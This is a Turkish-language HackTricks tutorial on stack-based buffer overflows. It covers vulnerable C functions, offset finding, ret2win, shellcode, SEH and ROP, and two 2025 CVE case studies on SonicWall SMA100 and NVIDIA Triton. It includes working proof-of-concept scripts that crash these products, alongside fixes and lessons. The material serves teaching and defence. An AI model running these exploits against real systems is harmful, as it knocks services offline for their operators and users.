Stack Overflow
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Stack Overflow Nedir
Bir stack overflow, bir programın stack'e tutulan miktardan daha fazla veri yazdığında ortaya çıkan bir zayıflıktır. Bu fazla veri, bitişik bellek alanını üzerine yazarak geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açabilir. Bu sorun genellikle girdiler üzerinde bounds checking yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
Bu overwrite işleminin asıl problemi, saved instruction pointer (EIP/RIP) ve önceki fonksiyona dönmek için saklanan saved base pointer (EBP/RBP) değerlerinin stack üzerinde saklanıyor olmasıdır. Bu nedenle, bir saldırgan bu değerleri overwrite ederek programın yürütme akışını kontrol edebilir.
Zafiyet genellikle bir fonksiyonun stack içinde kendisine ayrılan miktardan daha fazla byte kopyalaması nedeniyle ortaya çıkar; bu sayede stack'in diğer bölümlerini overwrite edebilir.
Bu duruma sıkça yatkın olan fonksiyonlardan bazıları: strcpy
, strcat
, sprintf
, gets
... Ayrıca fgets
, read
ve memcpy
gibi bir length argument alan fonksiyonlar, belirtilen uzunluk ayrılandan büyükse yanlış kullanıldığında savunmasız olabilir.
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Stack Overflows offset'lerini Bulma
Stack Overflows bulmanın en yaygın yolu, çok büyük bir A
girdisi vermektir (ör. python3 -c 'print("A"*1000)'
) ve Segmentation Fault
beklemektir; bu, adres 0x41414141
'e erişilmeye çalışıldığını gösterir.
Ayrıca, bir Stack Overflow zafiyeti bulduktan sonra overwrite the return address'in mümkün olduğu offset'i bulmanız gerekir; bunun için genellikle bir De Bruijn sequence kullanılır. Verilen k boyutunda bir alfabet ve uzunluğu n olan alt diziler için, bu, her olası uzunluk n alt dizisinin tam olarak bir kez ardışık bir alt dizi olarak göründüğü bir cyclic sequence'dir.
Böylece, EIP'i elle kontrol etmek için hangi offset gerektiğini bulmak yerine, padding olarak bu dizilerden birini kullanmak ve sonra onu overwrite etmeye başlayan byte'ların offset'ini bulmak mümkün olur.
Bunun için pwntools kullanmak mümkündür:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
veya GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Stack Overflows'ı İstismar Etme
Bir overflow sırasında (taşma boyutu yeterince büyükse) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş EBP/RBP and EIP/RIP (or even more)'a ulaşana kadar overwrite edebileceksiniz.
Bu tür bir zafiyeti suistimal etmenin en yaygın yolu, modifying the return address yapmaktır; böylece fonksiyon sona erdiğinde control flow will be redirected wherever the user specified bu pointer içinde gösterilen yere yönlendirilir.
Ancak, bazı senaryolarda sadece stack içindeki bazı değişkenlerin değerlerini overwriting yapmak istismarı gerçekleştirmek için yeterli olabilir (ör. kolay CTF challenge'larında).
Ret2win
Bu tür CTF challenge'larında, binary içinde hiç çağrılmayan ve kazanmak için çağırmanız gereken bir function bulunur. Bu challenge'ler için yapmanız gereken tek şey offset to overwrite the return address'i bulmak ve çağrılacak function'ın adresini tespit etmektir (genellikle ASLR devre dışı bırakılmış olur) böylece zafiyetli function döndüğünde gizli function çağrılır:
Stack Shellcode
Bu senaryoda saldırgan shellcode'u stack'e yerleştirebilir ve kontrol edilen EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir:
Windows SEH-based exploitation (nSEH/SEH)
32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH işaretçisini bir POP POP RET gadget ile değiştirir ve 4 baytlık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivotlamak için kısa bir atlama yapmak üzere kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun nSEH'den hemen önce yerleştirilen 5 baytlık near jmp üzerine düşmesi ve payload başlangıcına yüzlerce byte geri atlamasıdır.
ROP & Ret2... techniques
Bu teknik, önceki tekniğin ana korumasını atlatmak için temel çerçeveyi sağlar: No executable stack (NX). Ayrıca ret2lib, ret2syscall gibi ve mevcut binary içindeki talimatları suistimal ederek arbitrary komutlar çalıştırmayı sağlayan birçok başka tekniği gerçekleştirmeye imkan verir:
ROP - Return Oriented Programing
Heap Overflows
Bir overflow her zaman stack'te olmak zorunda değildir, örneğin heap içinde de olabilir:
Koruma Türleri
Zafiyetlerin istismarını engellemeye çalışan çeşitli korumalar vardır, bunları şu dizinde inceleyin:
Common Binary Exploitation Protections & Bypasses
Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)
sscanf
'ın untrusted input'u parse etmek için asla güvenilmemesi gerektiğini gösteren iyi bir örnek 2025'te SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. /usr/src/EasyAccess/bin/httpd
içindeki zafiyetli rutin, /__api__/
ile başlayan herhangi bir URI'den version ve endpoint'i çıkarmaya çalışıyordu:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- İlk dönüşüm (
%2s
) güvenli bir şekildeversion
içine iki bayt depolar (ör."v1"
). - İkinci dönüşüm (
%s
) uzunluk belirticisine sahip değil, bu nedenlesscanf
ilk NUL byte'a kadar kopyalamaya devam eder. - Çünkü
endpoint
stack üzerinde bulunur ve 0x800 bayt uzunluğundadır, 0x800 bayttan daha uzun bir path sağlamak buffer'dan sonra yer alan her şeyi bozar ‑ bunların arasında stack canary ve saved return address de vardır.
Tek satırlık bir proof-of-concept, çöküşü kimlik doğrulamadan önce tetiklemek için yeterlidir:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Stack canaries işlemi sonlandırsa da, saldırgan yine de bir Denial-of-Service primitive elde eder (ve ek bilgi leaks olması durumunda, muhtemelen code-execution). Ders basit:
- Her zaman bir azami alan genişliği belirtin (örn.
%511s
). snprintf
/strncpy_s
gibi daha güvenli alternatifleri tercih edin.
Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06), HTTP API'si aracılığıyla erişilebilen birden çok stack-based overflow içeriyordu.
Zafiyetli desen http_server.cc
ve sagemaker_server.cc
içinde tekrar tekrar ortaya çıkıyordu:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) şu anki HTTP isteğinin gövdesini oluşturan iç tampon segmentlerinin sayısını döndürür.- Her segment,
alloca()
aracılığıyla stack üzerinde 16-byteevbuffer_iovec
tahsis edilmesine neden olur – herhangi bir üst sınır olmadan. - HTTP chunked transfer-encoding'i suistimal ederek, bir istemci isteğin 6-byte'lık parçacıklara yüzbinlerce bölünmesini zorlayabilir (
"1\r\nA\r\n"
). Bu,n
'in stack tükenene kadar kontrolsüz şekilde büyümesine neden olur.
Kavram Kanıtı (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezmek ve varsayılan derlemede daemon'ı crash etmek için yeterlidir.
Düzeltme ve Hafifletme
25.07 sürümü unsafe stack allocation'ı heap-backed std::vector
ile değiştirir ve std::bad_alloc
'ı düzgün şekilde ele alır:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Öğrenilen dersler:
- Saldırgan kontrolündeki boyutlarla asla
alloca()
'yı çağırmayın. - Chunked requests, sunucu tarafı buffer'ların şeklini ciddi şekilde değiştirebilir.
- Bellek tahsislerinde kullanmadan önce, istemci girdisinden türetilen herhangi bir değeri doğrulayın/sınırlandırın.
Referanslar
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.